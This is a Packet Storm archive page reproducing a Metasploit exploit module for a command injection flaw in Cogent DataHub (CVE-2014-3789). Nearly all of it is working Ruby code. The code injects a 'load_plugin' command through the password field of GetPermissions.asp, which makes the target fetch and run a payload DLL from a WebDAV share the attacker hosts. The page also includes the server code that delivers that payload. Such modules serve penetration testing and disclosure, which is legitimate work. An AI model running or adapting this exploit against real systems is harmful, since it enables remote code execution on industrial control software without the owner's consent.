Lucene search

K
packetstormJohn LeitchPACKETSTORM:127197
HistoryJun 25, 2014 - 12:00 a.m.

Cogent DataHub Command Injection

2014-06-2500:00:00
John Leitch
packetstormsecurity.com
16

0.298 Low

EPSS

Percentile

96.9%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
# Exploitation is reliable, but the service hangs and needs manual restarting.  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize  
super(  
'Name' => 'Cogent DataHub Command Injection',  
'Description' => %q{  
This module exploits an injection vulnerability in Cogent DataHub prior  
to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which  
makes insecure use of the datahub_command function with user controlled  
data, allowing execution of arbitrary datahub commands and scripts. This  
module has been tested successfully with Cogent DataHub 7.3.4 on  
Windows 7 SP1.  
},  
'Author' => [  
'John Leitch', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'Platform' => 'win',  
'References' =>  
[  
['ZDI', '14-136'],  
['CVE', '2014-3789'],  
['BID', '67486']  
],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultOptions' => {  
'WfsDelay' => 30,  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Targets' =>  
[  
[ 'Cogent DataHub < 7.3.5', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 29 2014'  
)  
register_options(  
[  
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),  
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +   
'(do not change)', 80 ]),  
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +  
'wait for the payload request', 20]),  
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def on_request_uri(cli, request)  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
vprint_status("#{request.method} => 404 (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
def process_get(cli, request)  
  
if blacklisted_path?(request.uri)  
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
cli.send_response(resp)  
return  
end  
  
if request.uri.include?(@basename)  
print_status("GET => Payload")  
return if ((p = regenerate_payload(cli)) == nil)  
data = generate_payload_dll({ :code => p.encoded })  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
# Treat index.html specially  
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)  
vprint_status("GET => REDIRECT (#{request.uri})")  
resp = create_response(200, "OK")  
  
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|  
resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
  
# Anything else is probably a request for a data file...  
vprint_status("GET => DATA (#{request.uri})")  
data = rand_text_alpha(4 + rand(4))  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
vprint_status("OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +  
+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +  
+ 'LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
vprint_status("PROPFIND #{path}")  
  
if path !~ /\/$/  
  
if blacklisted_path?(path)  
vprint_status "PROPFIND => 404 (#{path})"  
resp = create_response(404, "Not Found")  
resp.body = ""  
cli.send_response(resp)  
return  
end  
  
if path.index(".")  
vprint_status "PROPFIND => 207 File (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
return  
else  
vprint_status "PROPFIND => 301 (#{path})"  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
vprint_status "PROPFIND => 207 Directory (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
if request["Depth"].to_i > 0  
trail = path.split("/")  
trail.shift  
case trail.length  
when 0  
body << generate_shares(path)  
when 1  
body << generate_files(path)  
end  
else  
vprint_status "PROPFIND => 207 Top-Level Directory"  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_shares(path)  
share_name = @share_name  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def generate_files(path)  
trail = path.split("/")  
return "" if trail.length < 2  
  
base = @basename  
exts = @extensions.gsub(",", " ").split(/\s+/)  
files = ""  
exts.each do |ext|  
files << %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{base}.#{ext}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
<D:ishidden b:dt="boolean">1</D:ishidden>  
</D:propstat>  
</D:response>  
|  
end  
  
files  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
# This method rejects requests that are known to break exploitation  
def blacklisted_path?(uri)  
share_path = "/#{@share_name}"  
payload_path = "#{share_path}/#{@basename}.dll"  
case uri  
when payload_path  
return false  
when share_path  
return false  
else  
return true  
end  
end  
  
def check  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),  
'vars_post' =>  
{  
'username' => rand_text_alpha(4 + rand(4)),  
'password' => rand_text_alpha(4 + rand(4))  
}  
})  
  
if res && res.code == 200 && res.body =~ /PermissionRecord/  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
def send_injection(dll)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),  
'vars_post' =>  
{  
'username' => rand_text_alpha(3 + rand(3)),  
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +   
"(load_plugin \"#{dll}\" 1)(\""  
}  
}, 1)  
  
res  
end  
  
def on_new_session(session)  
if service  
service.stop  
end  
  
super  
end  
  
def primer  
print_status("#{peer} - Sending injection...")  
res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")  
if res  
print_error("#{peer} - Unexpected answer")  
end  
end  
  
def exploit  
if datastore['UNCPATH'].blank?  
@basename = rand_text_alpha(3)  
@share_name = rand_text_alpha(3)  
@extensions = "dll"  
@system_commands_file = rand_text_alpha_lower(4)  
  
if (datastore['SRVHOST'] == '0.0.0.0')  
@myhost = Rex::Socket.source_address('50.50.50.50')  
else  
@myhost = datastore['SRVHOST']  
end  
  
@exploit_unc = "\\\\#{@myhost}\\"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +   
'URIPATH=/')  
end  
  
print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +  
"\\#{@basename}.dll")  
  
begin  
# The Windows Webclient needs some time...  
Timeout.timeout(datastore['WEBDAV_DELAY']) { super }  
rescue ::Timeout::Error  
service.stop if service  
end  
else  
# Using external SMB Server  
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/  
host = $1  
share_name = $2  
dll_name = $3  
print_status("#{peer} - Sending injection...")  
res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")  
if res  
print_error("#{peer} - Unexpected answer")  
end  
else  
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +   
'\\\\host\\shared_folder\\base_name.dll')  
end  
end  
end  
  
end  
`

0.298 Low

EPSS

Percentile

96.9%